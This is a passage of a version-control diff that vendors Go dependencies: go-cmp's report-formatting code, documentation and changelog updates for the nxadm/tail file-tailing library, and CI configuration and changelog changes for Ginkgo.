+			}
+
+			// Update this group since some identical elements were removed.
+			nx -= numIdentical
+			ny -= numIdentical
+			groups[i] = diffStats{Name: ds.Name, NumRemoved: nx, NumInserted: ny}
+		}
+		ix += nx
+		iy += ny
+	}
+	return groups
+}
@@ -0,0 +1,431 @@
+// Copyright 2019, The Go Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style
+// license that can be found in the LICENSE file.
+
+package cmp
+
+import (
+	"bytes"
+	"fmt"
+	"math/rand"
+	"strings"
+	"time"
+	"unicode/utf8"
+
+	"github.com/google/go-cmp/cmp/internal/flags"
+)
+
+var randBool = rand.New(rand.NewSource(time.Now().Unix())).Intn(2) == 0
+
+const maxColumnLength = 80
+
+type indentMode int
+
+func (n indentMode) appendIndent(b []byte, d diffMode) []byte {
+	// The output of Diff is documented as being unstable to provide future
+	// flexibility in changing the output for more humanly readable reports.
+	// This logic intentionally introduces instability to the exact output
+	// so that users can detect accidental reliance on stability early on,
+	// rather than much later when an actual change to the format occurs.
+	if flags.Deterministic || randBool {
+		// Use regular spaces (U+0020).
+		switch d {
+		case diffUnknown, diffIdentical:
+			b = append(b, "  "...)
+		case diffRemoved:
+			b = append(b, "- "...)
+		case diffInserted:
+			b = append(b, "+ "...)
+		}
+	} else {
+		// Use non-breaking spaces (U+00a0).
+		switch d {
+		case diffUnknown, diffIdentical:
+			b = append(b, "  "...)
+		case diffRemoved:
+			b = append(b, "- "...)
+		case diffInserted:
+			b = append(b, "+ "...)
+		}
+	}
+	return repeatCount(n).appendChar(b, '\t')
+}
+
+type repeatCount int
+
+func (n repeatCount) appendChar(b []byte, c byte) []byte {
+	for ; n > 0; n-- {
+		b = append(b, c)
+	}
+	return b
+}
+
+// textNode is a simplified tree-based representation of structured text.
+// Possible node types are textWrap, textList, or textLine.
+type textNode interface {
+	// Len reports the length in bytes of a single-line version of the tree.
+	// Nested textRecord.Diff and textRecord.Comment fields are ignored.
+	Len() int
+	// Equal reports whether the two trees are structurally identical.
+	// Nested textRecord.Diff and textRecord.Comment fields are compared.
+	Equal(textNode) bool
+	// String returns the string representation of the text tree.
+	// It is not guaranteed that len(x.String()) == x.Len(),
+	// nor that x.String() == y.String() implies that x.Equal(y).
+	String() string
+
+	// formatCompactTo formats the contents of the tree as a single-line string
+	// to the provided buffer. Any nested textRecord.Diff and textRecord.Comment
+	// fields are ignored.
+	//
+	// However, not all nodes in the tree should be collapsed as a single-line.
+	// If a node can be collapsed as a single-line, it is replaced by a textLine
+	// node. Since the top-level node cannot replace itself, this also returns
+	// the current node itself.
+	//
+	// This does not mutate the receiver.
+	formatCompactTo([]byte, diffMode) ([]byte, textNode)
+	// formatExpandedTo formats the contents of the tree as a multi-line string
+	// to the provided buffer. In order for column alignment to operate well,
+	// formatCompactTo must be called before calling formatExpandedTo.
+	formatExpandedTo([]byte, diffMode, indentMode) []byte
+}
+
+// textWrap is a wrapper that concatenates a prefix and/or a suffix
+// to the underlying node.
+type textWrap struct {
+	Prefix   string      // e.g., "bytes.Buffer{"
+	Value    textNode    // textWrap | textList | textLine
+	Suffix   string      // e.g., "}"
+	Metadata interface{} // arbitrary metadata; has no effect on formatting
+}
+
+func (s *textWrap) Len() int {
+	return len(s.Prefix) + s.Value.Len() + len(s.Suffix)
+}
+func (s1 *textWrap) Equal(s2 textNode) bool {
+	if s2, ok := s2.(*textWrap); ok {
+		return s1.Prefix == s2.Prefix && s1.Value.Equal(s2.Value) && s1.Suffix == s2.Suffix
+	}
+	return false
+}
+func (s *textWrap) String() string {
+	var d diffMode
+	var n indentMode
+	_, s2 := s.formatCompactTo(nil, d)
+	b := n.appendIndent(nil, d)      // Leading indent
+	b = s2.formatExpandedTo(b, d, n) // Main body
+	b = append(b, '\n')              // Trailing newline
+	return string(b)
+}
+func (s *textWrap) formatCompactTo(b []byte, d diffMode) ([]byte, textNode) {
+	n0 := len(b) // Original buffer length
+	b = append(b, s.Prefix...)
+	b, s.Value = s.Value.formatCompactTo(b, d)
+	b = append(b, s.Suffix...)
+	if _, ok := s.Value.(textLine); ok {
+		return b, textLine(b[n0:])
+	}
+	return b, s
+}
+func (s *textWrap) formatExpandedTo(b []byte, d diffMode, n indentMode) []byte {
+	b = append(b, s.Prefix...)
+	b = s.Value.formatExpandedTo(b, d, n)
+	b = append(b, s.Suffix...)
+	return b
+}
+
+// textList is a comma-separated list of textWrap or textLine nodes.
+// The list may be formatted as multi-lines or single-line at the discretion
+// of the textList.formatCompactTo method.
+type textList []textRecord
+type textRecord struct {
+	Diff       diffMode     // e.g., 0 or '-' or '+'
+	Key        string       // e.g., "MyField"
+	Value      textNode     // textWrap | textLine
+	ElideComma bool         // avoid trailing comma
+	Comment    fmt.Stringer // e.g., "6 identical fields"
+}
+
+// AppendEllipsis appends a new ellipsis node to the list if none already
+// exists at the end. If cs is non-zero it coalesces the statistics with the
+// previous diffStats.
+func (s *textList) AppendEllipsis(ds diffStats) {
+	hasStats := !ds.IsZero()
+	if len(*s) == 0 || !(*s)[len(*s)-1].Value.Equal(textEllipsis) {
+		if hasStats {
+			*s = append(*s, textRecord{Value: textEllipsis, ElideComma: true, Comment: ds})
+		} else {
+			*s = append(*s, textRecord{Value: textEllipsis, ElideComma: true})
+		}
+		return
+	}
+	if hasStats {
+		(*s)[len(*s)-1].Comment = (*s)[len(*s)-1].Comment.(diffStats).Append(ds)
+	}
+}
+
+func (s textList) Len() (n int) {
+	for i, r := range s {
+		n += len(r.Key)
+		if r.Key != "" {
+			n += len(": ")
+		}
+		n += r.Value.Len()
+		if i < len(s)-1 {
+			n += len(", ")
+		}
+	}
+	return n
+}
+
+func (s1 textList) Equal(s2 textNode) bool {
+	if s2, ok := s2.(textList); ok {
+		if len(s1) != len(s2) {
+			return false
+		}
+		for i := range s1 {
+			r1, r2 := s1[i], s2[i]
+			if !(r1.Diff == r2.Diff && r1.Key == r2.Key && r1.Value.Equal(r2.Value) && r1.Comment == r2.Comment) {
+				return false
+			}
+		}
+		return true
+	}
+	return false
+}
+
+func (s textList) String() string {
+	return (&textWrap{Prefix: "{", Value: s, Suffix: "}"}).String()
+}
+
+func (s textList) formatCompactTo(b []byte, d diffMode) ([]byte, textNode) {
+	s = append(textList(nil), s...) // Avoid mutating original
+
+	// Determine whether we can collapse this list as a single line.
+	n0 := len(b) // Original buffer length
+	var multiLine bool
+	for i, r := range s {
+		if r.Diff == diffInserted || r.Diff == diffRemoved {
+			multiLine = true
+		}
+		b = append(b, r.Key...)
+		if r.Key != "" {
+			b = append(b, ": "...)
+		}
+		b, s[i].Value = r.Value.formatCompactTo(b, d|r.Diff)
+		if _, ok := s[i].Value.(textLine); !ok {
+			multiLine = true
+		}
+		if r.Comment != nil {
+			multiLine = true
+		}
+		if i < len(s)-1 {
+			b = append(b, ", "...)
+		}
+	}
+	// Force multi-lined output when printing a removed/inserted node that
+	// is sufficiently long.
+	if (d == diffInserted || d == diffRemoved) && len(b[n0:]) > maxColumnLength {
+		multiLine = true
+	}
+	if !multiLine {
+		return b, textLine(b[n0:])
+	}
+	return b, s
+}
+
+func (s textList) formatExpandedTo(b []byte, d diffMode, n indentMode) []byte {
+	alignKeyLens := s.alignLens(
+		func(r textRecord) bool {
+			_, isLine := r.Value.(textLine)
+			return r.Key == "" || !isLine
+		},
+		func(r textRecord) int { return utf8.RuneCountInString(r.Key) },
+	)
+	alignValueLens := s.alignLens(
+		func(r textRecord) bool {
+			_, isLine := r.Value.(textLine)
+			return !isLine || r.Value.Equal(textEllipsis) || r.Comment == nil
+		},
+		func(r textRecord) int { return utf8.RuneCount(r.Value.(textLine)) },
+	)
+
+	// Format lists of simple lists in a batched form.
+	// If the list is sequence of only textLine values,
+	// then batch multiple values on a single line.
+	var isSimple bool
+	for _, r := range s {
+		_, isLine := r.Value.(textLine)
+		isSimple = r.Diff == 0 && r.Key == "" && isLine && r.Comment == nil
+		if !isSimple {
+			break
+		}
+	}
+	if isSimple {
+		n++
+		var batch []byte
+		emitBatch := func() {
+			if len(batch) > 0 {
+				b = n.appendIndent(append(b, '\n'), d)
+				b = append(b, bytes.TrimRight(batch, " ")...)
+				batch = batch[:0]
+			}
+		}
+		for _, r := range s {
+			line := r.Value.(textLine)
+			if len(batch)+len(line)+len(", ") > maxColumnLength {
+				emitBatch()
+			}
+			batch = append(batch, line...)
+			batch = append(batch, ", "...)
+		}
+		emitBatch()
+		n--
+		return n.appendIndent(append(b, '\n'), d)
+	}
+
+	// Format the list as a multi-lined output.
+	n++
+	for i, r := range s {
+		b = n.appendIndent(append(b, '\n'), d|r.Diff)
+		if r.Key != "" {
+			b = append(b, r.Key+": "...)
+		}
+		b = alignKeyLens[i].appendChar(b, ' ')
+
+		b = r.Value.formatExpandedTo(b, d|r.Diff, n)
+		if !r.ElideComma {
+			b = append(b, ',')
+		}
+		b = alignValueLens[i].appendChar(b, ' ')
+
+		if r.Comment != nil {
+			b = append(b, " // "+r.Comment.String()...)
+		}
+	}
+	n--
+
+	return n.appendIndent(append(b, '\n'), d)
+}
+
+func (s textList) alignLens(
+	skipFunc func(textRecord) bool,
+	lenFunc func(textRecord) int,
+) []repeatCount {
+	var startIdx, endIdx, maxLen int
+	lens := make([]repeatCount, len(s))
+	for i, r := range s {
+		if skipFunc(r) {
+			for j := startIdx; j < endIdx && j < len(s); j++ {
+				lens[j] = repeatCount(maxLen - lenFunc(s[j]))
+			}
+			startIdx, endIdx, maxLen = i+1, i+1, 0
+		} else {
+			if maxLen < lenFunc(r) {
+				maxLen = lenFunc(r)
+			}
+			endIdx = i + 1
+		}
+	}
+	for j := startIdx; j < endIdx && j < len(s); j++ {
+		lens[j] = repeatCount(maxLen - lenFunc(s[j]))
+	}
+	return lens
+}
+
+// textLine is a single-line segment of text and is always a leaf node
+// in the textNode tree.
+type textLine []byte
+
+var (
+	textNil      = textLine("nil")
+	textEllipsis = textLine("...")
+)
+
+func (s textLine) Len() int {
+	return len(s)
+}
+func (s1 textLine) Equal(s2 textNode) bool {
+	if s2, ok := s2.(textLine); ok {
+		return bytes.Equal([]byte(s1), []byte(s2))
+	}
+	return false
+}
+func (s textLine) String() string {
+	return string(s)
+}
+func (s textLine) formatCompactTo(b []byte, d diffMode) ([]byte, textNode) {
+	return append(b, s...), s
+}
+func (s textLine) formatExpandedTo(b []byte, _ diffMode, _ indentMode) []byte {
+	return append(b, s...)
+}
+
+type diffStats struct {
+	Name         string
+	NumIgnored   int
+	NumIdentical int
+	NumRemoved   int
+	NumInserted  int
+	NumModified  int
+}
+
+func (s diffStats) IsZero() bool {
+	s.Name = ""
+	return s == diffStats{}
+}
+
+func (s diffStats) NumDiff() int {
+	return s.NumRemoved + s.NumInserted + s.NumModified
+}
+
+func (s diffStats) Append(ds diffStats) diffStats {
+	assert(s.Name == ds.Name)
+	s.NumIgnored += ds.NumIgnored
+	s.NumIdentical += ds.NumIdentical
+	s.NumRemoved += ds.NumRemoved
+	s.NumInserted += ds.NumInserted
+	s.NumModified += ds.NumModified
+	return s
+}
+
+// String prints a humanly-readable summary of coalesced records.
+//
+// Example:
+//	diffStats{Name: "Field", NumIgnored: 5}.String() => "5 ignored fields"
+func (s diffStats) String() string {
+	var ss []string
+	var sum int
+	labels := [...]string{"ignored", "identical", "removed", "inserted", "modified"}
+	counts := [...]int{s.NumIgnored, s.NumIdentical, s.NumRemoved, s.NumInserted, s.NumModified}
+	for i, n := range counts {
+		if n > 0 {
+			ss = append(ss, fmt.Sprintf("%d %v", n, labels[i]))
+		}
+		sum += n
+	}
+
+	// Pluralize the name (adjusting for some obscure English grammar rules).
+	name := s.Name
+	if sum > 1 {
+		name += "s"
+		if strings.HasSuffix(name, "ys") {
+			name = name[:len(name)-2] + "ies" // e.g., "entrys" => "entries"
+		}
+	}
+
+	// Format the list according to English grammar (with Oxford comma).
+	switch n := len(ss); n {
+	case 0:
+		return ""
+	case 1, 2:
+		return strings.Join(ss, " and ") + " " + name
+	default:
+		return strings.Join(ss[:n-1], ", ") + ", and " + ss[n-1] + " " + name
+	}
+}
+
+type commentString string
+
+func (s commentString) String() string { return string(s) }
@@ -0,0 +1,121 @@
+// Copyright 2019, The Go Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style
+// license that can be found in the LICENSE file.
+
+package cmp
+
+import "reflect"
+
+// valueNode represents a single node within a report, which is a
+// structured representation of the value tree, containing information
+// regarding which nodes are equal or not.
+type valueNode struct {
+	parent *valueNode
+
+	Type   reflect.Type
+	ValueX reflect.Value
+	ValueY reflect.Value
+
+	// NumSame is the number of leaf nodes that are equal.
+	// All descendants are equal only if NumDiff is 0.
+	NumSame int
+	// NumDiff is the number of leaf nodes that are not equal.
+	NumDiff int
+	// NumIgnored is the number of leaf nodes that are ignored.
+	NumIgnored int
+	// NumCompared is the number of leaf nodes that were compared
+	// using an Equal method or Comparer function.
+	NumCompared int
+	// NumTransformed is the number of non-leaf nodes that were transformed.
+	NumTransformed int
+	// NumChildren is the number of transitive descendants of this node.
+	// This counts from zero; thus, leaf nodes have no descendants.
+	NumChildren int
+	// MaxDepth is the maximum depth of the tree. This counts from zero;
+	// thus, leaf nodes have a depth of zero.
+	MaxDepth int
+
+	// Records is a list of struct fields, slice elements, or map entries.
+	Records []reportRecord // If populated, implies Value is not populated
+
+	// Value is the result of a transformation, pointer indirect, of
+	// type assertion.
+	Value *valueNode // If populated, implies Records is not populated
+
+	// TransformerName is the name of the transformer.
+	TransformerName string // If non-empty, implies Value is populated
+}
+type reportRecord struct {
+	Key   reflect.Value // Invalid for slice element
+	Value *valueNode
+}
+
+func (parent *valueNode) PushStep(ps PathStep) (child *valueNode) {
+	vx, vy := ps.Values()
+	child = &valueNode{parent: parent, Type: ps.Type(), ValueX: vx, ValueY: vy}
+	switch s := ps.(type) {
+	case StructField:
+		assert(parent.Value == nil)
+		parent.Records = append(parent.Records, reportRecord{Key: reflect.ValueOf(s.Name()), Value: child})
+	case SliceIndex:
+		assert(parent.Value == nil)
+		parent.Records = append(parent.Records, reportRecord{Value: child})
+	case MapIndex:
+		assert(parent.Value == nil)
+		parent.Records = append(parent.Records, reportRecord{Key: s.Key(), Value: child})
+	case Indirect:
+		assert(parent.Value == nil && parent.Records == nil)
+		parent.Value = child
+	case TypeAssertion:
+		assert(parent.Value == nil && parent.Records == nil)
+		parent.Value = child
+	case Transform:
+		assert(parent.Value == nil && parent.Records == nil)
+		parent.Value = child
+		parent.TransformerName = s.Name()
+		parent.NumTransformed++
+	default:
+		assert(parent == nil) // Must be the root step
+	}
+	return child
+}
+
+func (r *valueNode) Report(rs Result) {
+	assert(r.MaxDepth == 0) // May only be called on leaf nodes
+
+	if rs.ByIgnore() {
+		r.NumIgnored++
+	} else {
+		if rs.Equal() {
+			r.NumSame++
+		} else {
+			r.NumDiff++
+		}
+	}
+	assert(r.NumSame+r.NumDiff+r.NumIgnored == 1)
+
+	if rs.ByMethod() {
+		r.NumCompared++
+	}
+	if rs.ByFunc() {
+		r.NumCompared++
+	}
+	assert(r.NumCompared <= 1)
+}
+
+func (child *valueNode) PopStep() (parent *valueNode) {
+	if child.parent == nil {
+		return nil
+	}
+	parent = child.parent
+	parent.NumSame += child.NumSame
+	parent.NumDiff += child.NumDiff
+	parent.NumIgnored += child.NumIgnored
+	parent.NumCompared += child.NumCompared
+	parent.NumTransformed += child.NumTransformed
+	parent.NumChildren += child.NumChildren + 1
+	if parent.MaxDepth < child.MaxDepth+1 {
+		parent.MaxDepth = child.MaxDepth + 1
+	}
+	return parent
+}
@@ -1,2 +1,3 @@
 .idea/
-.test/
+.test/
+examples/_*
@@ -1,16 +0,0 @@
-language: go
-
-script:
-  - go test -race -v ./...
-
-go:
-  - "1.9"
-  - "1.10"
-  - "1.11"
-  - "1.12"
-  - "1.13"
-  - tip
-
-matrix:
-  allow_failures:
-    - go: tip
@@ -1,4 +1,14 @@
-# Version v1.4.4
+# Version v1.4.7-v1.4.8
+* Documentation updates.
+* Small linter cleanups.
+* Added example in test. 
+
+# Version v1.4.6
+
+* Document the usage of Cleanup when re-reading a file (thanks to @lesovsky) for issue #18.
+* Add example directories with example and tests for issues.
+
+# Version v1.4.4-v1.4.5

 * Fix of checksum problem because of forced tag. No changes to the code.

@@ -1,36 +1,44 @@
-[![Build Status](https://travis-ci.org/nxadm/tail.svg?branch=master)](https://travis-ci.org/nxadm/tail)
+![ci](https://github.com/nxadm/tail/workflows/ci/badge.svg)[![Go Reference](https://pkg.go.dev/badge/github.com/nxadm/tail.svg)](https://pkg.go.dev/github.com/nxadm/tail)

-This is repo is forked from the dormant upstream repo at
-[hpcloud](https://github.com/hpcloud/tail). This fork adds support for go
-modules, updates the dependencies, adds features and fixes bugs. Go 1.9 is
-the oldest compiler release supported.
+# tail functionality in Go

-# Go package for tail-ing files
+nxadm/tail provides a Go library that emulates the features of the BSD `tail`
+program. The library comes with full support for truncation/move detection as
+it is designed to work with log rotation tools. The library works on all
+operating systems supported by Go, including POSIX systems like Linux and
+*BSD, and MS Windows. Go 1.9 is the oldest compiler release supported.

-A Go package striving to emulate the features of the BSD `tail` program.
+A simple example:

 ```Go
-t, err := tail.TailFile("/var/log/nginx.log", tail.Config{Follow: true})
+// Create a tail
+t, err := tail.TailFile(
+	"/var/log/nginx.log", tail.Config{Follow: true, ReOpen: true})
 if err != nil {
    panic(err)
 }

+// Print the text of each received line
 for line := range t.Lines {
    fmt.Println(line.Text)
 }
 ```

-See [API documentation](http://godoc.org/github.com/nxadm/tail).
-
-## Log rotation
-
-Tail comes with full support for truncation/move detection as it is
-designed to work with log rotation tools.
+See [API documentation](https://pkg.go.dev/github.com/nxadm/tail).

 ## Installing

    go get github.com/nxadm/tail/...

-## Windows support
+## History

-This package [needs assistance](https://github.com/nxadm/tail/labels/Windows) for full Windows support.
+This project is an active, drop-in replacement for the
+[abandoned](https://en.wikipedia.org/wiki/HPE_Helion) Go tail library at
+[hpcloud](https://github.com/hpcloud/tail). Next to
+[addressing open issues/PRs of the original project](https://github.com/nxadm/tail/issues/6),
+nxadm/tail continues the development by keeping up to date with the Go toolchain
+(e.g. go modules) and dependencies, completing the documentation, adding features
+and fixing bugs.
+
+## Examples
+Examples, e.g. used to debug an issue, are kept in the [examples directory](/examples).
@@ -1,11 +0,0 @@
-version: 0.{build}
-skip_tags: true
-cache: C:\Users\appveyor\AppData\Local\NuGet\Cache
-build_script:
- SET GOPATH=c:\workspace
- go test -v -race ./...
-test: off
-clone_folder: c:\workspace\src\github.com\nxadm\tail
-branches:
-  only:
-  - master
@@ -1,6 +1,12 @@
+// Copyright (c) 2019 FOSS contributors of https://github.com/nxadm/tail
 // Copyright (c) 2015 HPE Software Inc. All rights reserved.
 // Copyright (c) 2013 ActiveState Software Inc. All rights reserved.

+//nxadm/tail provides a Go library that emulates the features of the BSD `tail`
+//program. The library comes with full support for truncation/move detection as
+//it is designed to work with log rotation tools. The library works on all
+//operating systems supported by Go, including POSIX systems like Linux and
+//*BSD, and MS Windows. Go 1.9 is the oldest compiler release supported.
 package tail

 import (
@@ -22,26 +28,31 @@ import (
 )

 var (
+	// ErrStop is returned when the tail of a file has been marked to be stopped.
 	ErrStop = errors.New("tail should now stop")
 )

 type Line struct {
-	Text     string
-	Num      int
-	SeekInfo SeekInfo
-	Time     time.Time
-	Err      error // Error from tail
+	Text     string    // The contents of the file
+	Num      int       // The line number
+	SeekInfo SeekInfo  // SeekInfo
+	Time     time.Time // Present time
+	Err      error     // Error from tail
 }

-// NewLine returns a Line with present time.
+// Deprecated: this function is no longer used internally and it has little of no
+// use in the API. As such, it will be removed from the API in a future major
+// release.
+//
+// NewLine returns a * pointer to a Line struct.
 func NewLine(text string, lineNum int) *Line {
 	return &Line{text, lineNum, SeekInfo{}, time.Now(), nil}
 }

-// SeekInfo represents arguments to `io.Seek`
+// SeekInfo represents arguments to io.Seek. See: https://golang.org/pkg/io/#SectionReader.Seek
 type SeekInfo struct {
 	Offset int64
-	Whence int // io.Seek*
+	Whence int
 }

 type logger interface {
@@ -59,26 +70,28 @@ type logger interface {
 // Config is used to specify how a file must be tailed.
 type Config struct {
 	// File-specifc
-	Location    *SeekInfo // Seek to this location before tailing
-	ReOpen      bool      // Reopen recreated files (tail -F)
-	MustExist   bool      // Fail early if the file does not exist
-	Poll        bool      // Poll for file changes instead of using inotify
-	Pipe        bool      // Is a named pipe (mkfifo)
-	RateLimiter *ratelimiter.LeakyBucket
+	Location  *SeekInfo // Tail from this location. If nil, start at the beginning of the file
+	ReOpen    bool      // Reopen recreated files (tail -F)
+	MustExist bool      // Fail early if the file does not exist
+	Poll      bool      // Poll for file changes instead of using the default inotify
+	Pipe      bool      // The file is a named pipe (mkfifo)

 	// Generic IO
 	Follow      bool // Continue looking for new lines (tail -f)
 	MaxLineSize int  // If non-zero, split longer lines into multiple lines

-	// Logger, when nil, is set to tail.DefaultLogger
-	// To disable logging: set field to tail.DiscardingLogger
+	// Optionally, use a ratelimiter (e.g. created by the ratelimiter/NewLeakyBucket function)
+	RateLimiter *ratelimiter.LeakyBucket
+
+	// Optionally use a Logger. When nil, the Logger is set to tail.DefaultLogger.
+	// To disable logging, set it to tail.DiscardingLogger
 	Logger logger
 }

 type Tail struct {
-	Filename string
-	Lines    chan *Line
-	Config
+	Filename string     // The filename
+	Lines    chan *Line // A consumable channel of *Line
+	Config              // Tail.Configuration

 	file    *os.File
 	reader  *bufio.Reader
@@ -93,16 +106,17 @@ type Tail struct {
 }

 var (
-	// DefaultLogger is used when Config.Logger == nil
+	// DefaultLogger logs to os.Stderr and it is used when Config.Logger == nil
 	DefaultLogger = log.New(os.Stderr, "", log.LstdFlags)
 	// DiscardingLogger can be used to disable logging output
 	DiscardingLogger = log.New(ioutil.Discard, "", 0)
 )

-// TailFile begins tailing the file. Output stream is made available
-// via the `Tail.Lines` channel. To handle errors during tailing,
-// invoke the `Wait` or `Err` method after finishing reading from the
-// `Lines` channel.
+// TailFile begins tailing the file. And returns a pointer to a Tail struct
+// and an error. An output stream is made available via the Tail.Lines
+// channel (e.g. to be looped and printed). To handle errors during tailing,
+// after finishing reading from the Lines channel, invoke the `Wait` or `Err`
+// method on the returned *Tail.
 func TailFile(filename string, config Config) (*Tail, error) {
 	if config.ReOpen && !config.Follow {
 		util.Fatal("cannot set ReOpen without Follow.")
@@ -138,10 +152,9 @@ func TailFile(filename string, config Config) (*Tail, error) {
 	return t, nil
 }

-// Tell returns the file's current position, like stdio's ftell().
-// But this value is not very accurate.
-// One line from the chan(tail.Lines) may have been read,
-// so it may have lost one line.
+// Tell returns the file's current position, like stdio's ftell() and an error.
+// Beware that this value may not be completely accurate because one line from
+// the chan(tail.Lines) may have been read already.
 func (tail *Tail) Tell() (offset int64, err error) {
 	if tail.file == nil {
 		return
@@ -167,7 +180,8 @@ func (tail *Tail) Stop() error {
 	return tail.Wait()
 }

-// StopAtEOF stops tailing as soon as the end of the file is reached.
+// StopAtEOF stops tailing as soon as the end of the file is reached. The function
+// returns an error,
 func (tail *Tail) StopAtEOF() error {
 	tail.Kill(errStopAtEOF)
 	return tail.Wait()
@@ -435,6 +449,7 @@ func (tail *Tail) sendLine(line string) bool {
 // Cleanup removes inotify watches added by the tail package. This function is
 // meant to be invoked from a process's exit handler. Linux kernel may not
 // automatically remove inotify watches after the process exits.
+// If you plan to re-read a file, don't call Cleanup in between.
 func (tail *Tail) Cleanup() {
 	watch.Cleanup(tail.Filename)
 }
@@ -1,3 +1,4 @@
+// Copyright (c) 2019 FOSS contributors of https://github.com/nxadm/tail
 // +build !windows

 package tail
@@ -6,6 +7,11 @@ import (
 	"os"
 )

+// Deprecated: this function is only useful internally and, as such,
+// it will be removed from the API in a future major release.
+//
+// OpenFile proxies a os.Open call for a file so it can be correctly tailed
+// on POSIX and non-POSIX OSes like MS Windows.
 func OpenFile(name string) (file *os.File, err error) {
 	return os.Open(name)
 }
@@ -1,12 +1,19 @@
+// Copyright (c) 2019 FOSS contributors of https://github.com/nxadm/tail
 // +build windows

 package tail

 import (
-	"github.com/nxadm/tail/winfile"
 	"os"
+
+	"github.com/nxadm/tail/winfile"
 )

+// Deprecated: this function is only useful internally and, as such,
+// it will be removed from the API in a future major release.
+//
+// OpenFile proxies a os.Open call for a file so it can be correctly tailed
+// on POSIX and non-POSIX OSes like MS Windows.
 func OpenFile(name string) (file *os.File, err error) {
 	return winfile.OpenFile(name, os.O_RDONLY, 0)
 }
@@ -1,3 +1,4 @@
+// Copyright (c) 2019 FOSS contributors of https://github.com/nxadm/tail
 // Copyright (c) 2015 HPE Software Inc. All rights reserved.
 // Copyright (c) 2013 ActiveState Software Inc. All rights reserved.

@@ -1,3 +1,4 @@
+// Copyright (c) 2019 FOSS contributors of https://github.com/nxadm/tail
 package watch

 type FileChanges struct {
@@ -1,3 +1,4 @@
+// Copyright (c) 2019 FOSS contributors of https://github.com/nxadm/tail
 // Copyright (c) 2015 HPE Software Inc. All rights reserved.
 // Copyright (c) 2013 ActiveState Software Inc. All rights reserved.

@@ -1,3 +1,4 @@
+// Copyright (c) 2019 FOSS contributors of https://github.com/nxadm/tail
 // Copyright (c) 2015 HPE Software Inc. All rights reserved.
 // Copyright (c) 2013 ActiveState Software Inc. All rights reserved.

@@ -1,3 +1,4 @@
+// Copyright (c) 2019 FOSS contributors of https://github.com/nxadm/tail
 // Copyright (c) 2015 HPE Software Inc. All rights reserved.
 // Copyright (c) 2013 ActiveState Software Inc. All rights reserved.

@@ -1,3 +1,4 @@
+// Copyright (c) 2019 FOSS contributors of https://github.com/nxadm/tail
 // Copyright (c) 2015 HPE Software Inc. All rights reserved.
 // Copyright (c) 2013 ActiveState Software Inc. All rights reserved.

@@ -1,3 +1,4 @@
+// Copyright (c) 2019 FOSS contributors of https://github.com/nxadm/tail
 // +build windows

 package winfile
@@ -1,8 +1,8 @@
 language: go
 go:
-  - 1.13.x
-  - 1.14.x
  - tip
+  - 1.16.x
+  - 1.15.x

 cache:
  directories:
@@ -16,10 +16,9 @@ install:
  - GO111MODULE="off" go get golang.org/x/tools/cmd/cover
  - GO111MODULE="off" go get github.com/onsi/gomega
  - GO111MODULE="off" go install github.com/onsi/ginkgo/ginkgo
-  - export PATH=$PATH:$HOME/gopath/bin
+  - export PATH=$GOPATH/bin:$PATH

 script:
-  - GO111MODULE="on" go mod tidy
-  - diff -u <(echo -n) <(git diff go.mod)
-  - diff -u <(echo -n) <(git diff go.sum)
-  - $HOME/gopath/bin/ginkgo -r --randomizeAllSpecs --randomizeSuites --race --trace && go vet
+  - GO111MODULE="on" go mod tidy && git diff --exit-code go.mod go.sum
+  - go vet
+  - ginkgo -r --randomizeAllSpecs --randomizeSuites --race --trace
@@ -1,3 +1,106 @@
+## 1.16.5
+
+Ginkgo 2.0 now has a Release Candidate.  1.16.5 advertises the existence of the RC.
+1.16.5 deprecates GinkgoParallelNode in favor of GinkgoParallelProcess
+
+You can silence the RC advertisement by setting an `ACK_GINKG_RC=true` environment variable or creating a file in your home directory called `.ack-ginkgo-rc`
+
+## 1.16.4
+
+### Fixes
+1.16.4 retracts 1.16.3.  There are no code changes.  The 1.16.3 tag was associated with the wrong commit and an attempt to change it after-the-fact has proven problematic.  1.16.4 retracts 1.16.3 in Ginkgo's go.mod and creates a new, correctly tagged, release.
+
+## 1.16.3
+
+### Features
+- Measure is now deprecated and emits a deprecation warning.
+
+## 1.16.2
+
+### Fixes
+- Deprecations can be suppressed by setting an `ACK_GINKGO_DEPRECATIONS=<semver>` environment variable.
+
+## 1.16.1
+
+### Fixes
+- Supress --stream deprecation warning on windows (#793)
+
+## 1.16.0
+
+### Features
+- Advertise Ginkgo 2.0.  Introduce deprecations. [9ef1913]
+    - Update README.md to advertise that Ginkgo 2.0 is coming.
+    - Backport the 2.0 DeprecationTracker and start alerting users
+    about upcoming deprecations.
+
+- Add slim-sprig template functions to bootstrap/generate (#775) [9162b86]
+
+### Fixes
+- Fix accidental reference to 1488 (#784) [9fb7fe4]
+
+## 1.15.2
+
+### Fixes
+- ignore blank `-focus` and `-skip` flags (#780) [e90a4a0]
+
+## 1.15.1
+
+### Fixes
+- reporters/junit: Use `system-out` element instead of `passed` (#769) [9eda305]
+
+## 1.15.0
+
+### Features
+- Adds 'outline' command to print the outline of specs/containers in a file (#754) [071c369] [6803cc3] [935b538] [06744e8] [0c40583]
+- Add support for using template to generate tests (#752) [efb9e69]
+- Add a Chinese Doc #755 (#756) [5207632]
+- cli: allow multiple -focus and -skip flags (#736) [9a782fb]
+
+### Fixes
+- Add _internal to filename of tests created with internal flag (#751) [43c12da]
+
+## 1.14.2
+
+### Fixes
+- correct handling windows backslash in import path (#721) [97f3d51]
+- Add additional methods to GinkgoT() to improve compatibility with the testing.TB interface [b5fe44d]
+
+## 1.14.1
+
+### Fixes
+- Discard exported method declaration when running ginkgo bootstrap (#558) [f4b0240]
+
+## 1.14.0
+
+### Features
+- Defer running top-level container nodes until RunSpecs is called [d44dedf]
+- [Document Ginkgo lifecycle](http://onsi.github.io/ginkgo/#understanding-ginkgos-lifecycle)
+- Add `extensions/globals` package (#692) [3295c8f] - this can be helpful in contexts where you are test-driving your test-generation code (see [#692](https://github.com/onsi/ginkgo/pull/692))
+- Print Skip reason in JUnit reporter if one was provided [820dfab]
+
+## 1.13.0
+
+### Features
+- Add a version of table.Entry that allows dumping the entry parameters. (#689) [21eaef2]
+
+### Fixes
+- Ensure integration tests pass in an environment sans GOPATH [606fba2]
+- Add books package (#568) [fc0e44e]
+- doc(readme): installation via "tools package" (#677) [83bb20e]
+- Solve the undefined: unix.Dup2 compile error on mips64le (#680) [0624f75]
+- Import package without dot (#687) [6321024]
+- Fix integration tests to stop require GOPATH (#686) [a912ec5]
+
+## 1.12.3
+
+### Fixes
+- Print correct code location of failing table test (#666) [c6d7afb]
+
